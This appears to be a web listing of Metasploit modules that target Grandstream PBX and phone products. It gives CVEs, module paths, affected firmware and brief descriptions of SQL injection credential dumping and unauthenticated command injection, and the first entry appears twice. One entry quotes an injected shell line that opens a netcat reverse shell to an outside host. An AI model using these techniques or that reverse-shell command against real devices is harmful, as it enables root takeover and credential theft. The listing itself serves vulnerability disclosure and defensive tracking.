Metasploit modules that can be used to exploit Grandstream products
-
Grandstream UCM62xx IP PBX WebSocket Blind SQL Injection Credential Dump
Disclosure Date: 2020-03-30First seen: 2022-12-23auxiliary/gather/grandstream_ucm62xx_sql_account_guessThis module uses a blind SQL injection (CVE-2020-5724) affecting the Grandstream UCM62xx IP PBX to dump the users table. The injection occurs over a websocket at the websockify endpoint, and specifically occurs when the user requests the challenge (as part of a challenge and response authentication scheme). The injection is blind, but the server response contains a different status code if the query was successful. As such, the attacker can guess the contents of the user database. Most helpfully, the passwords are stored in cleartext within the user table (CVE-2020-5723). This issue was patched in Grandstream UCM62xx IP PBX firmware version 1.20.22. Authors: - jbaines-r7 -
Grandstream UCM62xx IP PBX WebSocket Blind SQL Injection Credential Dump
Disclosure Date: 2020-03-30First seen: 2022-12-23auxiliary/gather/grandstream_ucm62xx_sql_account_guessThis module uses a blind SQL injection (CVE-2020-5724) affecting the Grandstream UCM62xx IP PBX to dump the users table. The injection occurs over a websocket at the websockify endpoint, and specifically occurs when the user requests the challenge (as part of a challenge and response authentication scheme). The injection is blind, but the server response contains a different status code if the query was successful. As such, the attacker can guess the contents of the user database. Most helpfully, the passwords are stored in cleartext within the user table (CVE-2020-5723). This issue was patched in Grandstream UCM62xx IP PBX firmware version 1.20.22. Authors: - jbaines-r7 -
Grandstream UCM62xx IP PBX sendPasswordEmail RCE
Disclosure Date: 2020-03-23First seen: 2022-12-23exploit/linux/http/grandstream_ucm62xx_sendemail_rceThis module exploits an unauthenticated SQL injection vulnerability (CVE-2020-5722) and a command injection vulnerability (technically, no assigned CVE but was inadvertently patched at the same time as CVE-2019-10662) affecting the Grandstream UCM62xx IP PBX series of devices. The vulnerabilities allow an unauthenticated remote attacker to execute commands as root. Exploitation happens in two stages: 1. An SQL injection during username lookup while executing the "Forgot Password" function. 2. A command injection that occurs after the user provided username is passed to a Python script via the shell. Like so: /bin/sh -c python /app/asterisk/var/lib/asterisk/scripts/sendMail.py \ password '' `cat <<'TTsf7G0' z' or 1=1--`;`nc 10.0.0.3 4444 -e /bin/sh`;` TTsf7G0 ` This module affect UCM62xx versions before firmware version 1.0.19.20. Authors: - jbaines-r7 -
Grandstream GXV31XX 'settimezone' Unauthenticated Command Execution
Disclosure Date: 2016-09-01First seen: 2022-12-23exploit/linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_execThis module exploits a command injection vulnerability in Grandstream GXV31XX IP multimedia phones. The 'settimezone' action does not validate input in the 'timezone' parameter allowing injection of arbitrary commands. A buffer overflow in the 'phonecookie' cookie parsing allows authentication to be bypassed by providing an alphanumeric cookie 93 characters in length. This module was tested successfully on Grandstream models: GXV3175v2 hardware revision V2.6A with firmware version 1.0.1.19; and GXV3140 hardware revision V0.4B with firmware version 1.0.1.27. Authors: - alhazred - Brendan Scarvell - bcoles <bcoles@gmail.com>
4 metasploit modules found
Please note: Metasploit modules are only matched by CVE numbers.
Visit metasploit web site for more details